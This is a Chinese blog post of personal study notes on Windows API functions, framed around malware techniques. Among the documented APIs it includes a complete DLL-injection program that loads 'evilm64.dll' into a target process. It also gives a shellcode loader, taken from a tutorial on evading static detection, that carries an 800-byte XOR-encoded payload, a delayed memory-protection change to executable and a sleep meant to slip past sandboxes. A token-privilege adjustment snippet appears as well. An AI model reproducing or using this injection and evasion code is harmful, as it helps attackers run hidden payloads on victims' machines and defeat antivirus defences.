zoukankan      html  css  js  c++  java
  • Windows API 学习

    Windows API学习

    以下都是我个人一些理解,笔者不太了解windows开发,如有错误请告知,非常感谢,一切以microsoft官方文档为准。

    https://docs.microsoft.com/en-us/windows/win32/api/

    VirtualAlloc()

    https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

    概述

    在调用进程的虚拟地址空间中保留,提交或更改页面区域的状态。此功能分配的内存将自动初始化为零。

    简单讲就是分配大内存空间。

    语法:

    C++
    LPVOID VirtualAlloc(
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    

    示例代码:

    VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    //个人理解
    VirtualAlloc(起始地址, shellcode的大小, 分配虚拟空间地址,赋予执行或只读权限)
    

    DWORD flAllocationType请查看这里

    https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN

    DWORD flProtect请查看这里

    https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

    VirtualAllocEx()

    https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

    概述

    在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。

    与VirtualAlloc()最大的区别就是VirtualAllocEx()可以使得分配的空间指定在一个进程中的内存地址里面,该函数常用在进程注入。

    语法:

    c++
    LPVOID VirtualAllocEx(
      HANDLE hProcess,
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    

    示例代码:

    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    
    //个人理解,processHandle为我自己创建的读取到的进程句柄
    VirtualAllocEx(句柄, 起始地址, shellcode的大小, 分配虚拟空间地址, 赋予执行或只读权限)
    

    OpenProcess()

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

    概述

    打开进程对象。

    语法:

    c++
    HANDLE OpenProcess(
      DWORD dwDesiredAccess,
      BOOL  bInheritHandle,
      DWORD dwProcessId
    );
    

    示例代码:

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    
    //个人理解
    OpenProcess(进程对象的最大访问权限, 不继承句柄, 要打开的本地进程的标识符。)
    

    WriteProcessMemory()

    https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

    概述

    在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。

    语法:

    c++
    BOOL WriteProcessMemory(
      HANDLE  hProcess,
      LPVOID  lpBaseAddress,
      LPCVOID lpBuffer,
      SIZE_T  nSize,
      SIZE_T  *lpNumberOfBytesWritten
    );
    

    示例代码:

    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    
    //个人理解,(LPVOID)dllPath可以为你后门dll的路径,即你要注入的dll路径。
    WriteProcessMemory(上面要读取的进程的句柄, 使用VAE函数加载shellcode成功后返回的基地址, 要注入的dll地址, 注入dll的大小, 指向变量的指针.该变量接收传输到指定进程中的字节数)
    

    案例

    这是一个经典的dll注入远程进程的案例,可以方便你更好的理解 上面的函数。

    inject-dll.cpp
    int main(int argc, char *argv[]) {
    	HANDLE processHandle;
    	PVOID remoteBuffer;
    	wchar_t dllPath[] = TEXT("C:\experiments\evilm64.dll");
    	
    	printf("Injecting DLL to PID: %i
    ", atoi(argv[1]));
    	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
    	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
    	CloseHandle(processHandle); 
    	
    	return 0;
    }
    

    编译以上代码,并提供需要注入的进程pid,你将把evilm64.dll注入到pid进程中。

    CreateMutex()

    https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa

    概述

    创建或打开一个已命名或未命名的互斥对象,常用来运行单一进程。

    语法:

    c++
    HANDLE CreateMutexA(
      LPSECURITY_ATTRIBUTES lpMutexAttributes,
      BOOL                  bInitialOwner,
      LPCSTR                lpName
    );
    

    示例代码:

    BOOL IsAlreadyRun()
    {
    	HANDLE hMutex = NULL;
    	hMutex = ::CreateMutex(NULL, FALSE, "TEST");
    	if (hMutex)
    	{
    		if (ERROR_ALREADY_EXISTS == ::GetLastError())
    		{
    			return TRUE;
    		}
    	}
    	return FALSE;
    }
    

    RegOpenKeyExA()

    https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexa

    概述

    打开指定的注册表项。请注意,键名不区分大小写。

    要对键执行事务处理的注册表操作,请调用RegOpenKeyTransacted函数。

    语法:

    c++
    LSTATUS RegOpenKeyExA(
      HKEY   hKey,
      LPCSTR lpSubKey,
      DWORD  ulOptions,
      REGSAM samDesired,
      PHKEY  phkResult
    );
    

    代码示例:

    RegSetValueExA()

    https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa

    概述

    在注册表项下设置数据和指定值的类型。

    语法:

    c++
    LSTATUS RegSetValueExA(
      HKEY       hKey,
      LPCSTR     lpValueName,
      DWORD      Reserved,
      DWORD      dwType,
      const BYTE *lpData,
      DWORD      cbData
    );
    

    CreateThread()

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread

    概述

    创建一个线程以在调用进程的虚拟地址空间内执行。

    若要创建在另一个进程的虚拟地址空间中运行的线程,请使用 CreateRemoteThread函数。

    语法:

    c++
    HANDLE CreateThread(
      LPSECURITY_ATTRIBUTES   lpThreadAttributes,	//确定子进程是否可以继承返回的句柄
      SIZE_T                  dwStackSize,			//堆栈的初始大小,参数为零,则使用默认大小
      LPTHREAD_START_ROUTINE  lpStartAddress,		//线程的起始地址
      __drv_aliasesMem LPVOID lpParameter,			//指向传递给线程的变量的指针
      DWORD                   dwCreationFlags,		//线程标志
      LPDWORD                 lpThreadId			//线程ID
    );
    

    示例代码:

    CopyMemory()

    概述

    将一块内存数据从一个位置复制到另一个位置。

    语法:

    VOID CopyMemory(
    PVOID Destination,		//要复制内存块的目的地址,即VA函数返回的句柄名。
    CONST VOID *Source,		//要复制内存块的源地址
    SIZE_T Length			//内存卡的大小
    );
    

    示例代码:

    CloseHandle()

    https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle

    概述

    关闭打开的对象句柄

    语法:

    c++
    BOOL CloseHandle(
      HANDLE hObject		//打开对象的有效句柄,如通过OpenProcess读取的进程对象句柄
    );
    

    示例代码:

    printf("Injecting to PID: %i", atoi(argv[1]));		
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    CloseHandle(processHandle);
    

    OpenProcess()

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

    概述

    打开现有的本地进程对象

    语法:

    c++
    HANDLE OpenProcess(
      DWORD dwDesiredAccess,		//进程的访问权限
      BOOL  bInheritHandle,			//是否继续句柄
      DWORD dwProcessId				//本地进程标识符,如输入的pid
    );
    

    示例代码:

    printf("Injecting to PID: %i", atoi(argv[1]));		
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    

    示例代码:

    OpenProcess()

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

    概述

    打开现有的本地进程对象

    语法:

    c++
    HANDLE OpenProcess(
      DWORD dwDesiredAccess,		//进程的访问权限
      BOOL  bInheritHandle,			//是否继续句柄
      DWORD dwProcessId				//本地进程标识符,如输入的pid
    );
    

    示例代码:

    printf("Injecting to PID: %i", atoi(argv[1]));		
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    

    VirtualProtect()

    https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

    概述

    可用来更改VA函数内存页中的权限

    语法:

    c++
    BOOL VirtualProtect(
      LPVOID lpAddress,			//要更改的内存页的起始地址
      SIZE_T dwSize,			//要更改的内存页的大小
      DWORD  flNewProtect,		//要更改的权限
      PDWORD lpflOldProtect		//内存页属性
    );
    

    案例2

    代码来自倾旋大佬《静态恶意代码逃逸第三课》

    #include <Windows.h>
    
    // 入口函数
    int wmain(int argc,TCHAR * argv[]){
    
        int shellcode_size = 0; // shellcode长度
        DWORD dwThreadId; // 线程ID
        HANDLE hThread; // 线程句柄
        DWORD dwOldProtect; // 内存页属性
    /* length: 800 bytes */
    
    unsigned char buf[] = "xf6xe2x83x0ax0ax0ax6ax83xefx3bxd8x6ex81x58x3ax81x58x06x81x58x1ex81x78x22x05xbdx40x2cx3bxf5x3bxcaxa6x36x6bx76x08x26x2axcbxc5x07x0bxcdxe8xfax58x5dx81x58x1ax81x48x36x0bxdax81x4ax72x8fxcax7ex40x0bxdax5ax81x42x12x81x52x2ax0bxd9xe9x36x43x81x3ex81x0bxdcx3bxf5x3bxcaxa6xcbxc5x07x0bxcdx32xeax7fxfex09x77xf2x31x77x2ex7fxe8x52x81x52x2ex0bxd9x6cx81x06x41x81x52x16x0bxd9x81x0ex81x0bxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax52x55x50x81x18xe1x8cx57x62x64x6fx7ex0ax62x7dx63x64x63x5ex62x46x7dx2cx0dxf5xdfx3bxf5x5dx5dx5dx5dx5dx62x30x5cx73xadxf5xdfxe3x8ex0ax0ax0ax51x3bxc3x5bx5bx60x09x5bx5bx62x9ax15x0ax0ax59x5ax62x5dx83x95xccxf5xdfxe1x7ax51x3bxd8x58x62x0ax08x6ax8ex58x58x58x59x58x5ax62xe1x5fx24x31xf5xdfx83xccx89xc9x5ax3bxf5x5dx5dx60xf5x59x5cx62x27x0cx12x71xf5xdfx8fxcax05x8exc9x0bx0ax0ax3bxf5x8fxfcx7ex0ex83xf3xe1x03x62xa0xcfxe8x57xf5xdfx83xcbx62x4fx2bx54x3bxf5xdfx3bxf5x5dx60x0dx5bx5cx5ax62xbdx5dxeax01xf5xdfxb5x0ax25x0ax0ax33xcdx7exbdx3bxf5xe3x9bx0bx0ax0axe3xc3x0bx0ax0axe2x81xf5xf5xf5x25x39x7fx65x4fx0ax3fx45x2bx5ax2fx4ax4bx5ax51x3ex56x5ax50x52x3fx3ex22x5ax54x23x3dx49x49x23x3dx77x2ex4fx43x49x4bx58x27x59x5ex4bx44x4ex4bx58x4ex27x4bx44x5ex43x5cx43x58x5fx59x27x5ex4fx59x5ex27x4cx43x46x4fx2bx2ex42x21x42x20x0ax3fx45x2bx5ax2fx0ax5fx79x6fx78x27x4bx6dx6fx64x7ex30x2ax47x65x70x63x66x66x6bx25x3fx24x3ax2ax22x69x65x67x7ax6bx7ex63x68x66x6fx31x2ax47x59x43x4fx2ax33x24x3ax31x2ax5dx63x64x6ex65x7dx79x2ax44x5ex2ax3cx24x3bx31x2ax5ex78x63x6ex6fx64x7ex25x3fx24x3ax31x2ax48x45x43x4fx33x31x44x46x44x46x23x07x00x0ax3fx45x2bx5ax2fx4ax4bx5ax51x3ex56x5ax50x52x3fx3ex22x5ax54x23x3dx49x49x23x3dx77x2ex4fx43x49x4bx58x27x59x5ex4bx44x4ex4bx58x4ex27x4bx44x5ex43x5cx43x58x5fx59x27x5ex4fx59x5ex27x4cx43x46x4fx2bx2ex42x21x42x20x0ax3fx45x2bx5ax2fx4ax4bx5ax51x3ex56x5ax50x52x3fx3ex22x5ax54x23x3dx49x49x23x3dx77x2ex4fx43x49x4bx58x27x59x5ex4bx44x4ex4bx58x4ex27x4bx44x5ex43x5cx43x58x5fx59x27x5ex4fx59x5ex27x4cx43x46x4fx2bx2ex42x21x42x20x0ax3fx45x2bx5ax2fx4ax4bx5ax51x3ex56x5ax50x52x3fx3ex22x5ax54x23x3dx49x49x23x3dx77x2ex4fx43x49x4bx58x27x59x5ex4bx44x4ex4bx58x4ex27x4bx44x5ex43x5cx43x58x5fx59x27x5ex4fx59x5ex27x4cx43x46x4fx2bx2ex42x21x42x20x0ax3fx45x2bx5ax2fx4ax4bx5ax51x0ax62xfaxbfxa8x5cxf5xdfx60x4ax62x0ax1ax0ax0ax62x0ax0ax4ax0ax5dx62x52xaex59xefxf5xdfx99xb3x0ax0ax0ax0ax0bxd3x5bx59x83xedx5dx62x0ax2ax0ax0ax59x5cx62x18x9cx83xe8xf5xdfx8fxcax7exccx81x0dx0bxc9x8fxcax7fxefx52xc9xe2xa3xf7xf5xf5x3bx33x38x24x3bx3cx32x24x3bx3dx3ax24x3bx38x32x0ax0ax0ax0ax0a";
    
    
    // 获取shellcode大小
    shellcode_size = sizeof(buf);
    
    /* 增加异或代码 */
    for(int i = 0;i<shellcode_size; i++){
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */
    
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
        );
    
        // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode,buf,shellcode_size);
    
    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);
    
    // 等待几秒,兴许可以跳过某些沙盒呢?
    Sleep(2000);
    
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
        );
    
    WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
        return 0;
    }
    

    InterlockedXor()

    https://docs.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-interlockedxor

    概述

    对指定的LONG值执行原子XOR操作。该函数可防止多个线程同时使用同一变量。

    可用在对shellcode进行异或加密

    语法:

    c++
    LONG InterlockedXor(
      LONG volatile *Destination,	
      LONG          Value			//异或key
    );
    

    示例代码:

    c++
    /* 增加异或代码  代码来着倾旋博客 */
    for(int i = 0;i<shellcode_size; i++){
        Sleep(50);
        _InterlockedXor8(buf+i,10);
    }
    

    WaitNamedPipeA()

    https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-waitnamedpipea

    概述

    等待可用于连接的管道

    语法:

    c++
    BOOL WaitNamedPipeA(
      LPCSTR lpNamedPipeName,	//命名管道的名称  \服务器名pipe管道名
      DWORD  nTimeOut			//使用NMPWAIT_WAIT_FOREVER
    );
    

    示例代码:

    //管道
    PTCHAR ptsPipeName = TEXT(".pipeBadCodeTest");
    //等待管道可用
    WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
    //连接管道
    hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
    

    CreateFileA()

    https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea

    概述

    创建或打开文件或I / O设备。最常用的I / O设备如下:文件,文件流,目录,物理磁盘,卷,控制台缓冲区,磁带驱动器,通信资源,邮筒和管道。

    语法:

    c++
    复制
    HANDLE CreateFileA(
      LPCSTR                lpFileName,				//要创建或打开的文件或设备的名称
      DWORD                 dwDesiredAccess,		//文件或设备访问的权限,常用GENERIC_READ | GENERIC_WRITE
      DWORD                 dwShareMode,			//文件或设备请求得共享模式
      LPSECURITY_ATTRIBUTES lpSecurityAttributes,	//确定子进程是否继承句柄,NULL
      DWORD                 dwCreationDisposition,	//对文件之外的设备,设置为OPEN_EXISTING
      DWORD                 dwFlagsAndAttributes,	//常见默认属性为FILE_ATTRIBUTE_NORMAL
      HANDLE                hTemplateFile			//NULL
    );
    

    SHGetSpeciaFolderPathA()

    概述

    检索特殊文件夹的路径,该路径由其CSIDL标识。

    语法:

    c++
    BOOL SHGetSpecialFolderPathA(
      HWND  hwnd,		//窗口所有者的句柄
      LPSTR pszPath,	//返回路径的缓冲区
      int   csidl,		//系统路径的CSIDL,在新的windows开发中csidl已经被弃用,改用KNOWNFOLDERID。
      BOOL  fCreate		//文件夹不存在是否要创建
    );
    

    penProcessToken()

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken

    概述

    打开与进程关联得访问令牌

    语法:

    c++
    BOOL OpenProcessToken(
      HANDLE  ProcessHandle,		//打开访问令牌得进程句柄,进程必须有PROCESS_QUERY_INFORMATION访问权限
      DWORD   DesiredAccess,		//指定访问掩码,该掩码指定请求得访问令牌访问类型。
      PHANDLE TokenHandle			//函数返回时指向标识新打开的访问令牌的句柄的指针。
    );
    

    示例代码:

    OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,&hToken)
    OpenProcessToken(要打开进程令牌得进程句柄,TOKEN_ADJUST_PRIVILEGES表示具有修改进程令牌得权限,返回得进程令牌句柄)
    

    LookupPrivilegeValueA(winbase.h)

    https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea

    概述

    所述LookupPrivilegeValue函数检索本地唯一性标识符的特定系统上用于局部地(LUID)表示指定的权限名称。

    语法:

    c++
    BOOL LookupPrivilegeValueA(
      LPCSTR lpSystemName,		//指向以NULL结尾得字符串的指针,该字符串指定在其上检索特权名称的系统的名称。如果指定了NULL,则该函数尝试在本地系统上查找特权名称
      LPCSTR lpName,			//指向以NULL结尾的字符串的指针,该字符串指定特权的名称,如winnt,h头文件中所定义。例如,此参数可以指定常量SE_SECURITY_NAME或其对应的字符串“SeSecurityPrivilege”
      PLUID  lpLuid			//指向接收LUID的变量的指针,通过该LUID可以在lpSystemName参数指定的系统上知道特权。
    );
    

    示例代码:

    LookupPrivilegeValueA(NULL,pszPrivilegesName,&luidValue)
    LookupPrivilegeValueA(NULL表示本地系统,即要获取本地系统指定特权得LUID值,第二个参数表示特权名称,第三个表示获取到得LUID返回值)
    

    AdjustTokenPrivileges(securitybaseapi.h)

    https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges

    概述

    语法:

    c++
    BOOL AdjustTokenPrivileges(
      HANDLE            TokenHandle,	//访问令牌得句柄,句柄必须具有TOKEN_ADJUST_PRIVILEGES访问令牌。
      BOOL              DisableAllPrivileges,	//指定函数是否禁用所有令牌的特权。
      PTOKEN_PRIVILEGES NewState,	//指向TOKEN_PRIVILEGES结构的指针,该 结构指定特权及其属性的数组。
      DWORD             BufferLength,	//指定PreviousState参数指向的缓冲区的大小(以字节为单位)。如果PreviousState参数为NULL,则此参数可以为零。
      PTOKEN_PRIVILEGES PreviousState,	//指向函数填充TOKEN_PRIVILEGES结构的缓冲区的指针,该结构包含函数修改的任何特权的先前状态。
      PDWORD            ReturnLength //指向变量的指针,该变量接收PreviousState参数所指向的缓冲区的所需大小。
    );
    

    示例代码:

    AdjustTokenPrivileges(hToken,FALSE,&tokenPrivileges,0,NULL,NULL)
    AdjustTokenPrivileges(进程令牌,是否禁用所有令牌得权限,新设置得特权,返回上一个特权数据缓冲区得大小,返回上一个特权数据缓冲区,返回上一个特权数据缓冲区应该有的大小)
    

    GetCurrentProcess(processthreadsapi.h)

    https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess

    概述

    检测当前进程的伪句柄

    语法

    直接调用函数就行

    返回值

    返回值是当前进程的伪句柄

    未完

    之后还会陆续更新一些自己学到的Windows API函数。

  • 相关阅读:
    MyBatis Sql Session 批量插入
    Node.js 之react.js组件-Props应用
    Node.js 之react.js组件-JSX简介
    Node.js项目笔记(一)
    2020软件工程个人作业06——软件工程实践总结作业
    2020软件工程作业05
    2020软件工程作业00——问题清单
    2020软件工程作业04
    2020软件工程作业03
    2020软件工程作业02
  • 原文地址:https://www.cnblogs.com/Secde0/p/14162384.html
Copyright © 2011-2022 走看看